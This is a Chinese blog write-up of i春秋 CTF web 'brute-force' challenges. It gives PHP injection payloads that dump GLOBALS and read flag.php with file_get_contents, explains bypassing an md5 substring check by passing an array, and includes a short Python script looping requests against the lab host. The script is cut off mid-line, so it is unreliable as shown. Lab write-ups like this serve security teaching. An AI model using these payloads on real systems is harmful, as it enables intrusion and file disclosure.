i春秋CTF WEB-爆破

原创

「已注销」 于 2018-09-05 22:00:00 发布 197 收藏

爆破1,2,3

看似是爆破，其实可以直接GLOBALS查看所有的全局变量，其实考的是**文件包含**，六位字符的爆破实在是耗费时间==、

```
hello=GLOBALS

hello=file_get_contents('flag.php')
```

只要第一次传进去的value与session中的相等，则网页会输出下一个value值，通过使用md5函数不能对数组进行处理的漏洞来绕过`substr(md5($value),5,4)==0`的判断，使nums得值大于10即可得到flag

python脚本

```
# coding:utf-8
import requests

url = "http://344cb89508694654883e6e22c6fca5d6bbacd6e5f0b44746.game.ichunqiu.com/?value[]=ea"

al = ['abcdefghijklmnopqrstuvwxyz']

s = requests.session()

r = s.get(url)

for i in range(20):
    url = "http://344cb89508694654883e6e22c6fca5d6bbacd6e5f0b44746.game.ichunqiu.com/?value[]=" + r.co
    r = s.get(url)
    if 'flag{' in r.content:
     print r.content[0:50]
     break
    else:
     print r.content[0:2]
```